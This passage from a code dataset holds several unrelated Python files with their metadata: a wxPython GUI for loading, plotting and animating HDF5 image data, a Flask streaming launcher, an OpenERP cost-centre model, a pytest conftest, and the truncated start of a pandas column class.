toolbar\n ## vleft vright\n ## |-------|----------|\n ## | | |\n ## | | |\n ## | | |\n ## |panel_l| panel_r |\n ## | | |\n ## | | |\n ## | | |\n ## |-------|----------|\n ## statusbar\n ##\n\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n vleft = wx.BoxSizer(wx.VERTICAL)\n vright = wx.BoxSizer(wx.VERTICAL)\n\n # vleft box\n ## control panel\n controlpanel_sb = funutils.createwxStaticBox(\n self.panel_l,\n label='Control Panel',\n fontcolor=funutils.hex2rgb(self.fontcolor_staticbox),\n fontsize=self.fontsize_staticbox)\n controlpanel_sbsizer = wx.StaticBoxSizer(controlpanel_sb, wx.VERTICAL)\n\n # push button controls for image post-processing\n animate_btn = wx.Button(self.panel_l, label='Make Animation')\n statistics_btn = wx.Button(self.panel_l, label='Statistics')\n analysis_btn = wx.Button(self.panel_l, label='Analysis')\n analysis_btn.Hide()\n animate_btn.Disable()\n\n hbox1 = wx.BoxSizer(wx.VERTICAL)\n hbox1.Add(animate_btn, proportion=0, flag=wx.EXPAND | wx.ALL, border=2)\n hbox1.Add(\n statistics_btn, proportion=0, flag=wx.EXPAND | wx.ALL, border=2)\n hbox1.Add(\n analysis_btn, proportion=0, flag=wx.EXPAND | wx.ALL, border=2)\n\n ## bindings\n self.Bind(wx.EVT_BUTTON, self.onAnimate, animate_btn)\n self.Bind(wx.EVT_BUTTON, self.onStatistics, statistics_btn)\n self.Bind(wx.EVT_BUTTON, self.onAnalysis, analysis_btn)\n\n # image style controls\n imgscale_st = funutils.MyStaticText(\n self.panel_l, label=u'Image Size (+/-)', fontcolor='blue')\n scale_inc_btn = wx.BitmapButton(\n self.panel_l, bitmap=resutils.addicon.GetBitmap())\n scale_dec_btn = wx.BitmapButton(\n self.panel_l, bitmap=resutils.delicon.GetBitmap())\n\n hbox2 = wx.BoxSizer(wx.HORIZONTAL)\n hbox2.Add(\n imgscale_st,\n proportion=0,\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=2)\n hbox2.Add(\n scale_inc_btn,\n proportion=0,\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=2)\n hbox2.Add(\n scale_dec_btn,\n proportion=0,\n flag=wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL,\n border=2)\n\n ## bindings\n self.Bind(wx.EVT_BUTTON, self.onScaleInc, scale_inc_btn)\n self.Bind(wx.EVT_BUTTON, self.onScaleDec, scale_dec_btn)\n\n # workspace\n ws_panel = imageutils.WorkspacePanel(self.panel_l)\n self.ws_panel = ws_panel\n #ws_sum_st = funutils.MyStaticText(self.panel_l, label=u'Selected:')\n #self.ws_sum_st = ws_sum_st\n ws_st = funutils.MyStaticText(self.panel_l, label=u'Data Workspace')\n\n vbox_ws = wx.BoxSizer(wx.VERTICAL)\n vbox_ws.Add(ws_st, 0, wx.ALIGN_LEFT | wx.LEFT, 2)\n vbox_ws.Add(ws_panel, 1, wx.EXPAND | wx.ALL, 2)\n #vbox_ws.Add(ws_sum_st, 0, wx.ALIGN_LEFT | wx.LEFT, 2)\n\n # left panel sizer\n controlpanel_sbsizer.Add(\n hbox1, flag=wx.ALIGN_CENTER | wx.ALL, proportion=0, border=10)\n controlpanel_sbsizer.Add(\n wx.StaticLine(self.panel_l, style=wx.LI_HORIZONTAL),\n flag=wx.EXPAND | wx.ALL,\n border=10)\n controlpanel_sbsizer.Add(\n hbox2, flag=wx.ALIGN_LEFT | wx.ALL, proportion=0, border=10)\n controlpanel_sbsizer.Add(\n vbox_ws,\n flag=wx.ALIGN_LEFT | wx.EXPAND | wx.ALL,\n proportion=1,\n border=10)\n\n # vright box\n ## image grid panel\n imagegridpanel_sb = funutils.createwxStaticBox(\n self.panel_r,\n label='Image Grid',\n fontcolor=funutils.hex2rgb(self.fontcolor_staticbox),\n fontsize=self.fontsize_staticbox)\n imagegridpanel_sbsizer = wx.StaticBoxSizer(imagegridpanel_sb,\n wx.HORIZONTAL)\n\n ## image plotting frame\n #self.imggrid = ImageGrid(self.panel_r, figsize = (4, 4), dpi = 75, bgcolor = funutils.hex2rgb(self.backcolor_panel))\n self.imggrid = imageutils.ImageGalleryPanel(self.panel_r)\n\n gsr = wx.BoxSizer(wx.HORIZONTAL)\n gsr.Add(self.imggrid, proportion=1, flag=wx.EXPAND | wx.ALL, border=10)\n\n imagegridpanel_sbsizer.Add(gsr, proportion=1, flag=wx.EXPAND)\n\n # set sizers\n\n ## left\n sizer_l.Add(\n controlpanel_sbsizer,\n proportion=1,\n flag=wx.EXPAND | wx.ALL,\n border=self.bordersize)\n self.panel_l.SetSizerAndFit(sizer_l)\n vleft.Add(self.panel_l, proportion=1, flag=wx.EXPAND)\n\n ## right\n sizer_r.Add(\n imagegridpanel_sbsizer,\n proportion=1,\n flag=wx.EXPAND | wx.TOP | wx.BOTTOM | wx.RIGHT,\n border=self.bordersize)\n self.panel_r.SetSizerAndFit(sizer_r)\n vright.Add(self.panel_r, proportion=1, flag=wx.EXPAND)\n\n # main sizer\n hbox.Add(vleft, proportion=1, flag=wx.EXPAND)\n hbox.Add(vright, proportion=3, flag=wx.EXPAND)\n self.panel.SetSizer(hbox)\n osizer = wx.BoxSizer(wx.HORIZONTAL)\n osizer.SetMinSize((1280, 1024))\n osizer.Add(self.panel, proportion=1, flag=wx.EXPAND)\n self.SetSizerAndFit(osizer)\n\n def onAnalysis(self, event):\n pass\n #if self.fdata_list is None:\n # return\n #print self.fdata_list, len(self.fdata_list)\n #print self.image_list, len(self.image_list)\n #i = 0\n #input_datafile = self.fdata_list[i]\n #self._data_analysis(input_datafile)\n\n def _data_analysis(self, input_datafile):\n f = h5py.File(input_datafile, 'r')\n data = f['image']['data'][...]\n hx, hy = np.sum(data, 0), np.sum(data, 1)\n x, y = np.arange(hx.size), np.arange(hy.size)\n x0, sx = self._gaussian_fit(x, hx)\n y0, sy = self._gaussian_fit(y, hy)\n print(x0, sx)\n print(y0, sy)\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.imshow(data[...])\n plt.show()\n\n def onAnimate(self, event):\n import glob, os, subprocess\n newpathdir = './imagetemp/'\n if not os.path.exists(newpathdir):\n os.mkdir(newpathdir)\n cnt = 0\n for imagefile in sorted(self.image_list):\n cnt += 1\n shutil.copyfile(imagefile,\n os.path.join(newpathdir, ('image%03d.jpg' % cnt)))\n \"\"\"\n for file in glob.glob(newpathdir + '/' + 'image0*.jpg'):\n print file\n \"\"\"\n\n try:\n # create animation\n fps = 1\n moviename = 'output.avi'\n cmdline = ' '.join([\n 'mencoder', '-fps',\n str(fps), '\"mf://' + newpathdir + os.sep + 'image%03d.jpg\"',\n '-o', moviename, '-ovc copy -oac copy'\n ])\n subprocess.call(cmdline, shell=True)\n\n # show indication message\n dial = wx.MessageDialog(\n self,\n message=u\"Animation successfully created!\",\n caption=u\"Job done\",\n style=wx.OK | wx.CANCEL | wx.CENTRE)\n if dial.ShowModal() == wx.ID_OK:\n dial.Destroy()\n except:\n dial = wx.MessageDialog(\n self,\n message=u\"Animation creation failed!\",\n caption=u\"Job failed\",\n style=wx.OK | wx.CANCEL | wx.ICON_ERROR | wx.CENTRE)\n if dial.ShowModal() == wx.ID_OK:\n dial.Destroy()\n\n def onStatistics(self, event):\n fdata_list_workspace = self.imggrid.get_workspace('sta')\n if fdata_list_workspace == []:\n return\n # !!!HDF5 data file only\n self.statFrame = StatPanel(self, fdata_list_workspace)\n self.statFrame.SetTitle('Statistical Analysis')\n #self.statFrame.SetMinSize((800, 600))\n self.statFrame.Show()\n\n def onScaleInc(self, event):\n self.imggrid.onScaleInc(0.1, self.fdata_list, self.image_list)\n\n def onScaleDec(self, event):\n self.imggrid.onScaleDec(0.1, self.fdata_list, self.image_list)\n\n def updateImageGrid(self, image_file_list, fdir, ftype):\n self.imggrid.onUpdate(image_file_list, fdir, ftype)\n\n def vizData(self, datafiles):\n \"\"\"\n read data file and show images on right panel\n :param datafiles: list of data filenames, ext: hdf5 | dat | asc\n \"\"\"\n self.progressbar = imageutils.ProgressBarFrame(self, 'Loading Data...',\n len(datafiles))\n self.progressbar.MakeModal(True)\n self.dataProcessWorker = DataImportThread(self, self.progressbar,\n datafiles)\n self.dataProcessWorker.start()\n\n # show images on right panel\n #self.updateImageGrid()\n def onStopWorker(self, file_num):\n self.dataProcessWorker.stop()\n self.info.SetLabel(\n 'Successfully loading {} data files.'.format(file_num))\n\n\nclass DataImportThread(threading.Thread):\n def __init__(self, parent, target, datafiles):\n threading.Thread.__init__(self, target=target)\n #self.setDaemon(True)\n self._parent = parent # point to the parent, here is DataWorkshop\n self.cnt = len(datafiles) # total number of data files\n self.target = target # point to progressbarframe\n self.pb = self.target.pb # point to progressbarframe.gauge\n self.datafiles = datafiles\n self.filecnt = 1 # loading file counter, start from 1\n self._wdir = self._parent._working_dir # temp working dirs for image files\n self._fdata_list = self._parent.fdata_list\n self._image_list = self._parent.image_list\n\n self.quitflag = threading.Event()\n self.quitflag.clear()\n\n def stop(self):\n self.quitflag.set()\n\n def run(self):\n new_image_file_list = []\n for file in self.datafiles:\n ftype = file.split('.')[-1]\n if self.quitflag.isSet():\n break\n\n if file in self._fdata_list:\n continue\n\n # add new data file to fdata_list, when open action, cleara into []\n self._fdata_list.append(file)\n # add new image file to image_list, when open action, clear into []\n if ftype == 'hdf5': # hdf5 data file\n #time.sleep(0.2)\n new_image_file = imageutils.data2Image(\n file, datatype='hdf5', wdir=self._wdir)\n elif ftype == 'dat' or ftype == 'asc':\n new_image_file = imageutils.data2Image(\n file, datatype='asc', wdir=self._wdir)\n self._image_list.append(new_image_file)\n new_image_file_list.append(new_image_file)\n\n wx.CallAfter(self.pb.SetValue, self.filecnt)\n #wx.CallAfter(self._parent.info.SetLabel, (\"%d of %d loaded.\" % (self.filecnt, self.cnt)))\n self.filecnt += 1\n fdir = os.path.dirname(file)\n wx.CallAfter(self.target.MakeModal, False)\n wx.CallAfter(self.target.Close)\n wx.CallAfter(self._parent.updateImageGrid, new_image_file_list, fdir,\n ftype)\n wx.CallAfter(self._parent.onStopWorker, self.cnt)\n\n\nclass StatPanel(wx.Frame):\n def __init__(self, parent, datafiles, **kwargs):\n super(self.__class__, self).__init__(\n parent=parent,\n id=wx.ID_ANY,\n style=wx.DEFAULT_FRAME_STYLE,\n **kwargs)\n # & ~(wx.RESIZE_BORDER | wx.MAXIMIZE_BOX), )\n self.parent = parent\n self.datafiles = datafiles\n self.shotIDArray = np.arange(1, len(self.datafiles) + 1)\n self.InitUI()\n\n def InitUI(self):\n self.createPanel()\n self.postInit()\n\n def createPanel(self):\n self.panel = wx.Panel(self)\n\n # layout:\n # lv_hbox\n # lvbox | rvbox\n #\n\n # left hbox\n showint_btn = wx.Button(\n self.panel, label='Inten Plot', size=(130, -1), style=wx.BU_LEFT)\n showinthist_btn = wx.Button(\n self.panel, label='Inten Hist', size=(130, -1), style=wx.BU_LEFT)\n showxypos_btn = wx.Button(\n self.panel, label='Central Pos', size=(130, -1), style=wx.BU_LEFT)\n showradius_btn = wx.Button(\n self.panel, label='Radius', size=(130, -1), style=wx.BU_LEFT)\n\n showint_st = funutils.MyStaticText(\n self.panel, label='Intensity', size=(160, -1))\n showinthist_st = funutils.MyStaticText(\n self.panel, label='Intensity hist', size=(160, -1))\n showxypos_st = funutils.MyStaticText(\n self.panel, label='Central position', size=(160, -1))\n showradius_st = funutils.MyStaticText(\n self.panel, label='Radius', size=(160, -1))\n\n gbs = wx.GridBagSizer(10, 5)\n gbs.Add(\n showint_btn,\n pos=(0, 0),\n span=(1, 1),\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showint_st,\n pos=(0, 1),\n span=(1, 3),\n flag=wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showinthist_btn,\n pos=(1, 0),\n span=(1, 1),\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showinthist_st,\n pos=(1, 1),\n span=(1, 3),\n flag=wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showxypos_btn,\n pos=(2, 0),\n span=(1, 1),\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showxypos_st,\n pos=(2, 1),\n span=(1, 3),\n flag=wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showradius_btn,\n pos=(3, 0),\n span=(1, 1),\n flag=wx.LEFT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.Add(\n showradius_st,\n pos=(3, 1),\n span=(1, 3),\n flag=wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL,\n border=8)\n gbs.AddGrowableCol(1)\n gbs.AddGrowableCol(2)\n\n lvbox = wx.BoxSizer(wx.VERTICAL)\n lvbox.Add(gbs, proportion=1, flag=wx.EXPAND | wx.ALL, border=10)\n\n # right vbox\n self.plotpanel = PlotPanel(self.panel, toolbar=True)\n\n rvbox = wx.BoxSizer(wx.VERTICAL)\n rvbox.Add(\n self.plotpanel, proportion=1, flag=wx.EXPAND | wx.ALL, border=1)\n\n # left and right hbox\n lr_hbox = wx.BoxSizer(wx.HORIZONTAL)\n lr_hbox.Add(lvbox, proportion=1, flag=wx.EXPAND | wx.ALL, border=4)\n lr_hbox.Add(rvbox, proportion=2, flag=wx.EXPAND | wx.ALL, border=4)\n\n # cmd hbox sizer\n cmdhbox = wx.BoxSizer(wx.HORIZONTAL)\n exit_btn = funutils.MyButton(self.panel, label='E&xit')\n cmdhbox.Add(\n exit_btn,\n proportion=0,\n flag=wx.TOP | wx.BOTTOM | wx.RIGHT,\n border=0)\n\n # main sizer\n mainsizer = wx.BoxSizer(wx.VERTICAL)\n mainsizer.Add(lr_hbox, proportion=1, flag=wx.EXPAND | wx.ALL, border=5)\n mainsizer.Add(\n wx.StaticLine(self.panel, wx.LI_HORIZONTAL), 0, wx.EXPAND | wx.ALL,\n 5)\n mainsizer.Add((-1, 10))\n mainsizer.Add(\n cmdhbox,\n proportion=0,\n flag=wx.ALIGN_RIGHT | wx.BOTTOM | wx.RIGHT,\n border=5)\n\n self.panel.SetSizer(mainsizer)\n osizer = wx.BoxSizer(wx.VERTICAL)\n osizer.Add(self.panel, proportion=1, flag=wx.EXPAND)\n self.SetSizerAndFit(osizer)\n\n # event bindings\n self.Bind(wx.EVT_BUTTON, self.onIntensityStat, showint_btn)\n self.Bind(wx.EVT_BUTTON, self.onIntensityStatHist, showinthist_btn)\n self.Bind(wx.EVT_BUTTON, self.onCentralPosStat, showxypos_btn)\n self.Bind(wx.EVT_BUTTON, self.onRadiusStat, showradius_btn)\n self.Bind(wx.EVT_BUTTON, self.onExit, exit_btn)\n\n def onExit(self, event):\n self.Close(True)\n\n def postInit(self):\n self.data_fit = self.gaussian_fit_all()\n\n def onIntensityStatHist(self, event):\n self.statIntArray = np.array([\n h5py.File(file, 'r')['image']['data'].attrs['sumint']\n for file in self.datafiles\n ])\n\n self.plotpanel.y = self.statIntArray\n self.plotpanel.clear()\n self.plotpanel.doHist()\n self.plotpanel.axes.set_title('Intensity Histogram')\n self.plotpanel.axes.set_xlabel('Intensity value [a.u.]')\n self.plotpanel.axes.set_ylabel('Count')\n self.plotpanel.refresh()\n\n def onIntensityStat(self, event):\n self.statIntArray = np.array([\n h5py.File(file, 'r')['image']['data'].attrs['sumint']\n for file in self.datafiles\n ])\n\n self.plotpanel.x = self.shotIDArray\n self.plotpanel.y = self.statIntArray\n \"\"\"\n self.plotpanel.xyplot.set_marker('o')\n self.plotpanel.xyplot.set_markersize(4)\n self.plotpanel.xyplot.set_markerfacecolor('b')\n self.plotpanel.xyplot.set_markeredgecolor('b')\n self.plotpanel.xyplot.set_linestyle('-')\n self.plotpanel.xyplot.set_color('r')\n \"\"\"\n self.plotpanel.clear()\n self.plotpanel.doXYplot()\n self.plotpanel.axes.set_title('Intensity', fontsize=18)\n self.plotpanel.axes.set_xlabel('shot ID', fontsize=16)\n self.plotpanel.axes.set_ylabel('[a.u.]', fontsize=16)\n self.plotpanel.refresh()\n\n def onCentralPosStat(self, event):\n self.plotpanel.x = self.data_fit['x0']\n self.plotpanel.y = self.data_fit['y0']\n\n self.plotpanel.clear()\n self.plotpanel.doScatter()\n self.plotpanel.axes.set_title('XY pos', fontsize=18)\n self.plotpanel.axes.set_xlabel('X', fontsize=16)\n self.plotpanel.axes.set_ylabel('Y', fontsize=16)\n self.plotpanel.refresh()\n\n def onRadiusStat(self, event):\n self.plotpanel.x = self.shotIDArray\n self.plotpanel.y = self.data_fit['sx']\n self.plotpanel.y2 = self.data_fit['sy']\n\n self.plotpanel.clear()\n self.plotpanel.doXY2plot()\n self.plotpanel.axes.set_title('XY Radius', fontsize=18)\n self.plotpanel.axes.set_xlabel('shot ID', fontsize=16)\n self.plotpanel.axes.set_ylabel('Radius', fontsize=16)\n self.plotpanel.axes.legend([r'$\\sigma_x$', r'$\\sigma_y$'], fontsize=16)\n self.plotpanel.refresh()\n\n def gaussian_fit_all(self):\n x0_list = []\n y0_list = []\n sx_list = []\n sy_list = []\n for f in self.datafiles:\n data = h5py.File(f, 'r')['image']['data'][...]\n hx, hy = data.sum(0), data.sum(1)\n x, y = np.arange(hx.size), np.arange(hy.size)\n x0, sx = funutils.gaussian_fit(x, hx, mode='simple')\n y0, sy = funutils.gaussian_fit(y, hy, mode='simple')\n x0_list.append(x0)\n y0_list.append(y0)\n sx_list.append(sx)\n sy_list.append(sy)\n return {'x0': x0_list, 'y0': y0_list, 'sx': sx_list, 'sy': sy_list}\n\n\n#class PlotPanel(pltutils.ImagePanelxy):\n# def __init__(self, parent, figsize, dpi, bgcolor, **kwargs):\n# pltutils.ImagePanelxy.__init__(self, parent, figsize, dpi, bgcolor, **kwargs)\n## self.axes.set_aspect('equal')\n\n\nclass PlotPanel(funutils.AnalysisPlotPanel):\n def __init__(self, parent, **kwargs):\n funutils.AnalysisPlotPanel.__init__(self, parent, **kwargs)\n\n def doXYplot(self):\n self.axes = self.figure.add_subplot(111)\n self.axes.plot(self.x, self.y, 'o--')\n self.figure.canvas.draw()\n\n def doXY2plot(self):\n self.axes = self.figure.add_subplot(111)\n self.axes.plot(self.x, self.y, 'o-', mfc='w')\n self.axes.plot(self.x, self.y2, 's-', mfc='w')\n self.figure.canvas.draw()\n\n def doHist(self):\n self.axes = self.figure.add_subplot(111)\n self.axes.hist(self.y, 100)\n self.figure.canvas.draw()\n\n def doScatter(self):\n self.axes = self.figure.add_subplot(111)\n self.axes.scatter(\n self.x, self.y, marker='o', s=40, c='r', edgecolor='r', alpha=0.6)\n self.figure.canvas.draw()\n\n def clear(self):\n self.figure.clear()\n\n def refresh(self):\n self.figure.canvas.draw_idle()\n\n def on_motion(self, event):\n if event.inaxes:\n x0, y0 = event.xdata, event.ydata\n self.pos_st.SetLabel(\"({x:<.4f}, {y:<.4f})\".format(x=x0, y=y0))\n self._draw_hvlines1(x0, y0)\n\n\n# ImageGrid: do not use this now\nclass ImageGrid(pltutils.ImagePanel):\n def __init__(self, parent, figsize, dpi, bgcolor, **kwargs):\n pltutils.ImagePanel.__init__(self, parent, figsize, dpi, bgcolor,\n **kwargs)\n\n def doPlot(self):\n if not hasattr(self, 'axes'):\n self.axes = self.figure.add_subplot(111)\n self.im = self.axes.imshow(\n self.z,\n aspect='equal',\n cmap=plt.get_cmap(self.cmaptype),\n origin='lower left',\n vmin=self.cmin,\n vmax=self.cmax)\n #self.figure.colorbar(self.im, orientation = 'horizontal', aspect = 20, shrink = 0.95,\n # fraction = 0.05, pad = 0.1)\n self.figure.canvas.draw()\n\n def onGetData(self):\n if self.func == 'peaks':\n x = np.linspace(-np.pi, np.pi, 100)\n y = np.linspace(-np.pi, np.pi, 100)\n self.x, self.y = np.meshgrid(x, y)\n self.z = funutils.func_peaks(self.x, self.y)\n elif self.func == 'sinc':\n x = np.linspace(-2 * np.pi, 2 * np.pi, 100)\n y = np.linspace(-2 * np.pi, 2 * np.pi, 100)\n self.x, self.y = np.meshgrid(x, y)\n self.z = funutils.func_sinc(self.x, self.y)\n self.cmin = self.z.min()\n self.cmax = self.z.max()\n\n def repaint(self):\n self.figure.canvas.draw_idle()\n\n def onMotion(self, event):\n try:\n x, y = event.xdata, event.ydata\n idx, idy = int(x + 0.5), int(y + 0.5)\n zval = self.z[idx, idy]\n self.GetParent().img_pos.SetLabel(\"(%.4f, %.4f, %.4f)\" % (x, y,\n zval))\n except TypeError:\n pass\n\n def onPress(self, event):\n try:\n x, y = event.xdata, event.ydata\n idx, idy = int(x + 0.5), int(y + 0.5)\n print(x, y, idx, idy, self.x[idx, idy], self.y[idx, idy],\n self.z[idx, idy])\n self.GetParent().img_pos.SetLabel(\"(%.4f, %.4f)\" % (event.xdata,\n event.ydata))\n except TypeError:\n pass\n","sub_path":"felapps/utils/datautils.py","file_name":"datautils.py","file_ext":"py","file_size_in_byte":33251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"177792471","text":"from webapp.streamer import detect_motion\nfrom webapp import customApp\nimport threading\nimport argparse\n\n# Reading in Arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--ip\", type=str, required=True,\n help=\"ip address of the device\")\nap.add_argument(\"-o\", \"--port\", type=int, required=True,\n help=\"ephemeral port number of the server (1024 to 65535)\")\nap.add_argument(\"-f\", \"--frame-count\", type=int, default=32,\n help=\"# of frames used to construct the background model\")\nargs = vars(ap.parse_args())\n\nt2 = threading.Thread(target=detect_motion)\nt2.daemon = True\nt2.start()\n\ncustomApp.run(host=args[\"ip\"], port=args[\"port\"], debug=True,\n threaded=True, use_reloader=False)\n\n\n","sub_path":"System/testWebstream.py","file_name":"testWebstream.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"359574272","text":"# -*- coding: utf-8 -*-\n\n\nimport time\nfrom datetime import datetime,timedelta\nfrom lxml import etree\nimport netsvc\nfrom validators import validator\nfrom osv import osv, fields, orm\nfrom tools.translate import _\nimport logging\nlogger = logging.getLogger('DOTCOM_PLANO_CONTAS')\n\n\n\nclass dotcom_conta_centro_custos(osv.osv):\n\n def _friendly_name(self, cr, uid, ids, field, arg, context=None):\n res = {}\n for centro in self.browse(cr, uid, ids, context=context):\n ref = centro.centro\n nome = centro.nome or ''\n friendly_name = '['+ref+']' + nome\n res[centro.id] = friendly_name\n return res\n \n _name='dotcom.contabilidade.conta.centro.custos'\n #_table=''\n _columns={\n 'centro':fields.char('Centro',required=True, size=25),\n 'nome':fields.char('Nome',size=26,required=True),\n 'tipo_interno':fields.selection([('r','Razão'),('t','Totalizadora'),('m','Movimento')],'Tipo Interno',readonly=True),\n 'centro_id':fields.many2one('dotcom.contabilidade.centros.custos'),\n \n 'parent_id': fields.many2one('dotcom.contabilidade.conta.centro.custos', 'Ascendente', required=False, ondelete=\"cascade\"),\n 'child_id': fields.one2many('dotcom.contabilidade.conta.centro.custos', 'parent_id', string='Sub-contas'),\n 'parent_left': fields.integer('Left Parent', select=1),\n 'parent_right': fields.integer('Right Parent', select=1),\n 'friendly_name': fields.function(_friendly_name, type='char', string='Centro', method=True, store=True),\n \n }\n \n _rec_name='friendly_name'\n \n \n def _check_recursion(self, cr, uid, ids, context=None):\n level = 100\n while len(ids):\n cr.execute('select distinct parent_id from dotcom_contabilidade_conta_centro_custos where id IN %s',(tuple(ids),))\n ids = filter(None, map(lambda x:x[0], cr.fetchall()))\n if not level:\n return False\n level -= 1\n return True\n\n _constraints = [\n (_check_recursion, 'Error ! You cannot create recursive categories.', ['parent_id'])\n ]\n def child_get(self, cr, uid, ids):\n return [ids]\n\n def on_change_ref(self,cr,uid,ids,conta,context=None):\n if context is None:\n context={}\n val = {}\n validator.validar_numero_caracteres(cr,uid,conta,context)\n conta_asc = validator.get_centro_ascendente(cr, uid, conta, context=context)\n logger.info('ASC: %s' % conta_asc)\n val = {'parent_id':conta_asc}\n return {'value':val}\n \n\n def write_recursive(self, cr, uid, conta_id, context=None):\n if context is None:\n context = {}\n conta = self.browse(cr, uid, conta_id)\n if conta.parent_id:\n self.write_recursive(cr, uid, conta.parent_id.id, context=context)\n if conta.child_id:\n logger.info('A definir conta como Tot')\n self.write(cr, uid, conta.id, {'tipo_interno':'t'})\n else:\n logger.info('A definir conta parent como Mov')\n self.write(cr, uid, conta.id, {'tipo_interno':'m'})\n else:\n if len(conta.centro)>2:\n logger.info('A definir conta como Tot')\n self.write(cr, uid, conta.id, {'tipo_interno':'t'})\n else:\n logger.info('A definir conta como Tot')\n self.write(cr, uid, conta.id, {'tipo_interno':'r'})\n return True\n \n def write_recursive_children(self, cr, uid, conta_id ,context=None):\n if context is None:\n context = {}\n conta = self.browse(cr, uid, conta_id, context=context)\n if conta.child_id:\n for child in conta.child_id:\n if child.child_id:\n self.write_recursive_children(cr, uid, child.id, context=context)\n if len(conta.centro)==2:\n logger.info('A definir conta como Razao')\n self.write(cr, uid, conta.id, {'tipo_interno':'r'})\n else:\n logger.info('A definir conta parent como Totalizadora')\n self.write(cr, uid, conta.id, {'tipo_interno':'t'})\n else:\n if len(conta.centro)==2:\n logger.info('A definir conta como Razao')\n self.write(cr, uid, conta.id, {'tipo_interno':'r'})\n else:\n logger.info('A definir conta parent como Movimento')\n self.write(cr, uid, conta.id, {'tipo_interno':'m'})\n \n return True \n \n \n def create(self, cr, uid, vals, context=None):\n if context is None:\n context = {}\n conta = vals.get('centro')\n identificador=vals.get('centro_id')\n nada = validator.validar_numero_caracteres(cr, uid, conta, context=context)\n pai_id = validator.get_centro_ascendente(cr, uid, conta,identificador, context=context)\n #logger.info('A iniciar processo de criação de Conta, ref: %s' % conta)\n logger.info('Resultado de procura de conta ascendente, ID: %s' % pai_id)\n father=None\n logger.info('PAI_ID, ref: %s' % pai_id)\n if bool(pai_id)==False:\n logger.info('SEM PAI')\n logger.info('Conta ascendente não existe, a iniciar verificações')\n if len(conta)>2:\n logger.info('Conta possui mais de dois digitos, a iniciar processo de criação de conta ascendente')\n father_vals = vals.copy()\n logger.info('Conta copiada, a definir valores')\n father_vals['centro'] = conta[:2]\n father_vals['nome']='CENTRO '+str(conta[:2])\n #logger.info('PAI_ID, ref: %s' % father_vals['centro'])\n father_vals['tipo_interno'] = 'r'\n logger.info('Valores definidos, ref: %s, tipo interno: Razão' % father_vals.get('centro'))\n father = super(dotcom_conta_centro_custos, self).create(cr, uid, father_vals, context=context)\n logger.info('Conta ascendente criada, a definir na conta a criar %s' %father)\n vals['parent_id'] = father\n \n else:\n logger.info('Conta possui 2 digitos, será definida como conta de Razão')\n vals['parent_id'] = None\n vals['tipo_interno'] = 'r'\n else:\n vals['parent_id'] = pai_id\n logger.info('A criar conta...')\n \n logger.info('VALS %s' %str(vals))\n base = super(dotcom_conta_centro_custos, self).create(cr, uid, vals, context=context)\n teste=self.browse(cr,uid,base)\n logger.info('VALS %s' %str(teste.parent_id)) \n logger.info('Conta criada com ID: %s' % base)\n logger.info('Inicio do processo de actualização de contas semelhantes')\n sons = self.search(cr, uid, [('centro','like',conta)])\n logger.info('Resultado da procura de Semelhantes: %s' %sons)\n logger.info('..............................................................')\n \n if sons and len(sons)>0:\n logger.info('A ordenar lista: %s' %sons)\n sons = sorted(sons)\n logger.info('Lista ordenada: %s' %sons)\n reads = self.read(cr, uid, sons, ['centro','id','child_id'])\n reads = sorted(reads, key=lambda d: (d['id'], d['centro']), reverse=True)\n logger.info('A ler valores e actualizar cada conta')\n for read in reads:\n logger.info('A processar: %s' % read)\n me = read['id']\n my_ref = read['centro']\n my_father = validator.get_centro_ascendente(cr, uid, my_ref,identificador, context=context)\n if bool(my_father)==False:\n my_father=father\n self.write(cr, uid, me, {'parent_id':my_father})\n test = self.write_recursive(cr, uid, base, context=context)\n again = self.write_recursive_children(cr, uid, base, context=context)\n logger.info('VALS %s' %str(teste.parent_id))\n return base\n \ndotcom_conta_centro_custos()","sub_path":"dotcom_contabilidade/dotcom_contas_centro_custos.py","file_name":"dotcom_contas_centro_custos.py","file_ext":"py","file_size_in_byte":8156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"183043075","text":"import logging\nimport sys\nfrom pathlib import Path\n\nimport pytest\nfrom simcore_service_director import config\n\n# pylint:disable=unused-argument\n\npytest_plugins = [\"fixtures.docker_registry\", \"fixtures.docker_swarm\", \"fixtures.fake_services\"]\n\n_logger = logging.getLogger(__name__)\nCURRENT_DIR = Path(sys.argv[0] if __name__ == \"__main__\" else __file__).parent.absolute()\n\n\n@pytest.fixture(scope='session')\ndef docker_compose_file(pytestconfig):\n my_path = CURRENT_DIR / \"docker-compose.yml\"\n return my_path\n\n@pytest.fixture\ndef configure_registry_access(docker_registry):\n config.REGISTRY_URL = docker_registry\n config.REGISTRY_SSL = False\n\n@pytest.fixture\ndef user_id():\n yield \"some_user_id\"","sub_path":"services/director/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"482777484","text":"from __future__ import unicode_literals\nfrom abc import ABCMeta, abstractmethod\n\nimport csv\nimport datetime\nimport os\nimport re\n\nimport inflection\nimport numpy\nimport pandas\n\n\nclass Base(object):\n __metaclass__ = ABCMeta\n \n def __init__(self, column):\n self.column = column\n if isinstance(self.column, Base):\n self.name = self.column.name\n else:\n self.name = self.column\n self.name += '_' + 